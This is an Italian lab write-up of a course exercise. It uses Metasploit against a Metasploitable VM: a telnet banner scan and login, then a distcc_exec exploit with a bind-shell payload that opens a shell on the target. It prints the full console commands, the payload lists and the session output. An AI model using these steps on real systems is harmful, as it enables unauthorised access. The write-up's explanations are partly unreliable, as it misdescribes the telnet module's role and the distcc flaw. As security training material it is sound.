

Exploit Telnet con Metasploit

21/01/2025

Traccia

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito:

Seguire gli step visti in lezione teorica. Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40

SVOLGIMENTO

Sono partito con il modificare gli indirizzi ip come richiesto

Ip metas:

```
to access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:6d:84:56
          inet addr:192.168.1.140  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe6d:8456/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6 errors:0 dropped:0 overruns:0 frame:0
          TX packets:54 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:384 (384.0 B)  TX bytes:4088 (3.9 KB)
          Base address:0xd020  Memory:f0200000-f0220000
```

Ip kali:

```
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP gr
efault qlen 1000
    link/ether 08:00:27:ad:25:87 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::5144:c59f:f0b1:65b4/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Fatto ciò ho pingato le macchine per verificare la comunicazione:

```
(kali@kali)-[~]
$ ping 192.168.1.140
PING 192.168.1.140 (192.168.1.140) 56(84) bytes of data.
64 bytes from 192.168.1.140: icmp_seq=1 ttl=64 time=3.43 ms
64 bytes from 192.168.1.140: icmp_seq=2 ttl=64 time=1.92 ms
64 bytes from 192.168.1.140: icmp_seq=3 ttl=64 time=4.56 ms
64 bytes from 192.168.1.140: icmp_seq=4 ttl=64 time=0.970 ms
^C
--- 192.168.1.140 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3042ms
rtt min/avg/max/mdev = 0.970/2.718/4.558/1.376 ms
```

```
msfadmin@metasploitable:~$ ping 192.168.1.25
PING 192.168.1.25 (192.168.1.25) 56(84) bytes of data.
64 bytes from 192.168.1.25: icmp_seq=1 ttl=64 time=1.26 ms
64 bytes from 192.168.1.25: icmp_seq=2 ttl=64 time=1.22 ms
64 bytes from 192.168.1.25: icmp_seq=3 ttl=64 time=1.30 ms
64 bytes from 192.168.1.25: icmp_seq=4 ttl=64 time=2.39 ms

--- 192.168.1.25 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 1.223/1.545/2.394/0.492 ms
```

Tramite il terminale di kali entro dentro la console di metasploit con il comando: **msfconsole**

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Display the Framework log using the log command, learn
more with help log
```

```
      .:ok000kdc'      'edk000ko:,
      .x0000000000000c      c000000000000x,
      :000000000000000k,      ,k00000000000000:
      '000000000kkkk0000:      :0000000000000000'
      a00000000.      .a0000e0000l.      ,00000000a
      d00000000.      .c00000c.      ,00000000x
      l00000000.      ,d;      ,00000000l
      .00000000.      ,;      ,00000000.
      c0000000.      ,00c.      'a00.      ,0000000c
      a0000000.      ,0000.      :0000.      ,0000000a
      l00000.      ,0000.      :0000.      ,00000l
      ;0000'      ,0000.      :0000.      :0000;
      ,d00a      ,0000ecccc0000.      x00d.
      ,k0l      ,0000000000000.      ,d0k,
      ,kk;      ,0000000000000.c0k:
      ,k00000000000000k:
      ,x000000000000x,
      ,l0000000l.
      ,d0a,
      .
      =[ metasploit v6.4.18-dev ]
+ -- --=[ 2437 exploits - 1255 auxiliary - 429 post ]
+ -- --=[ 1471 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > |
```

La traccia richiede di attaccare il servizio telnet quindi eseguiamo la ricerca dei moduli con il comando: `search auxiliary telnet_version`

#	Name	Disclosure Date	Rank	C
check	Description			
0	auxiliary/scanner/telnet/lantronix_telnet_version Lantronix Telnet Service Banner Detection	.	normal	N
1	auxiliary/scanner/telnet/telnet_version Telnet Service Banner Detection	.	normal	N

Scegliamo il modulo 1 con il comando: `use 1`

Fatto ciò entriamo nell'opzione del modulo con il comando: `show options`

E andiamo a configurare il nostro remote host (metasploitable)

```
msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  no               no        The password for the specified username
  RHOSTS    yes             yes        The target host(s), see https://docs.metas
  RPORT     23              yes        The target port (TCP)
  THREADS   1               yes        The number of concurrent threads (max one
  TIMEOUT   30              yes        Timeout for the Telnet probe
  USERNAME  no              no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > 
```

Il comando da usare è: `set rhost ip_metasploitable`

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.1.140
rhost => 192.168.1.140
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  no               no        The password for the specified username
  RHOSTS    192.168.1.140   yes        The target host(s), see https://docs.metas
  RPORT     23              yes        The target port (TCP)
  THREADS   1               yes        The number of concurrent threads (max one
  TIMEOUT   30              yes        Timeout for the Telnet probe
  USERNAME  no              no        The username to authenticate as
```

Ora possiamo lanciare l'attacco: **exploit**

[illegible]

Il modulo ha recuperato i dati di login del servizio, come vediamo nel rettangolo in rosso in figura. Ci sta dicendo che le credenziali da utilizzare sono username: «msfadmin», password «msfadmin».

Per verificare la correttezza delle informazioni, facciamo un test. Eseguiamo da Metasploit il comando «telnet» seguito dall'ip della macchina Metasploitable.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.140  
[*] exec: telnet 192.168.1.140  
  
Trying 192.168.1.140...  
Connected to 192.168.1.140.  
Escape character is '^['.  
  
metasploitable2  
  
Warning: Never expose this VM to an untrusted network!  
  
Contact: msfdev[at]metasploit.com  
  
Login with msfadmin/msfadmin to get started  
  
metasploitable login:
```

Il servizio ci richiede un login. Usiamo le credenziali trovate in precedenza:

```

metasploitable login: msfadmin
Password:
Last login: Tue Jan 21 07:37:44 EST 2025 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:6d:84:56 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.140/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe6d:8456/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$

```

l'attacco ha avuto effettivamente successo e la vulnerabilità del servizio Telnet è stata sfruttata correttamente, in quanto abbiamo ottenuto accesso non autorizzato alla macchina.

Bonus

Effettuare l'attacco al servizio distccd ed aprire una shell nella macchina bersaglio.

Come prima avviamo la console di metasploit e cerchiamo il modulo per il servizio distcc:

```

msf6 > search distcc

Matching Modules
=====


| # | Name                          | Disclosure Date | Rank      | Check | Description                     |
|---|-------------------------------|-----------------|-----------|-------|---------------------------------|
| 0 | exploit/unix/misc/distcc_exec | 2002-02-01      | excellent | Yes   | DistCC Daemon Command Execution |


```

Scegliamo l'unico presente e settiamo il remote host (metasploitable)


```
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      192.168.1.140    yes       The local client address
  CPORT      3632             yes       The local client port
  Proxies     []               no        A proxy chain of format type:host:port[,type:host:port][..]
  RHOSTS     192.168.1.140    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      3632             yes       The target port (TCP)

Payload options (cmd/unix/reverse_bash):

  Name      Current Setting  Required  Description
  ---      -
  LHOST      192.168.1.25     yes       The listen address (an interface may be specified)
  LPORT      4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic Target
```

Questa volta andiamo a configurare anche il payload, in questo caso quello predefinito non ci piace e lo andiamo a cambiare con un altro, il comando da usare è: [show payloads](#)

```
#  Name      Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/adduser  .      normal  No  Add user with
radd
1  payload/cmd/unix/bind_perl  .      normal  No  Unix Command S
l, Bind TCP (via Perl)
2  payload/cmd/unix/bind_perl_ipv6  .      normal  No  Unix Command S
l, Bind TCP (via perl) IPv6
3  payload/cmd/unix/bind_ruby  .      normal  No  Unix Command S
l, Bind TCP (via Ruby)
4  payload/cmd/unix/bind_ruby_ipv6  .      normal  No  Unix Command S
l, Bind TCP (via Ruby) IPv6
5  payload/cmd/unix/generic  .      normal  No  Unix Command,
eric Command Execution
6  payload/cmd/unix/reverse  .      normal  No  Unix Command S
l, Double Reverse TCP (telnet)
7  payload/cmd/unix/reverse_bash  .      normal  No  Unix Command S
l, Reverse TCP (/dev/tcp)
8  payload/cmd/unix/reverse_bash_telnet_ssl  .      normal  No  Unix Command S
l, Reverse TCP SSL (telnet)
9  payload/cmd/unix/reverse_openssl  .      normal  No  Unix Command S
l, Double Reverse TCP SSL (openssl)
10 payload/cmd/unix/reverse_perl  .      normal  No  Unix Command S
l, Reverse TCP (via Perl)
11 payload/cmd/unix/reverse_perl_ssl  .      normal  No  Unix Command S
l, Reverse TCP SSL (via perl)
12 payload/cmd/unix/reverse_ruby  .      normal  No  Unix Command S
l, Reverse TCP (via Ruby)
13 payload/cmd/unix/reverse_ruby_ssl  .      normal  No  Unix Command S
l, Reverse TCP SSL (via Ruby)
14 payload/cmd/unix/reverse_ssl_double_telnet  .      normal  No  Unix Command S
l, Double Reverse TCP SSL (telnet)
```

Scegliamo il numero 3 e mandiamo il comando: [set payload 3](#)

```
msf6 exploit(unix/misc/distcc_exec) > set payload 3
payload => cmd/unix/bind_ruby
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][..]
RHOSTS	192.168.1.140	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	3632	yes	The target port (TCP)

```

Payload options (cmd/unix/bind_ruby):

  Name  Current Setting  Required  Description
  --  --
  LPORT  4444             yes       The listen port
  RHOST  192.168.1.140   no        The target address

Exploit target:

  Id  Name
  --  --
  0    Automatic Target

```

Lanciamo l'attacco:

```
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started bind TCP handler against 192.168.1.140:4444
[*] Command shell session 1 opened (192.168.1.25:42459 → 192.168.1.140:4444) at 2025-01-21 08:17:16 -0500

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
whoami
daemon
```

Distcc è un programma che distribuisce la compilazione del codice su più computer per velocizzare il processo. La vulnerabilità esiste perché Distcc invia il codice sorgente preelaborato attraverso la rete, rendendolo accessibile a chiunque abbia accesso alla rete. La porta aperta serve per la comunicazione tra client e server, ma aumenta il rischio di attacchi se non si adottano misure di sicurezza adeguate.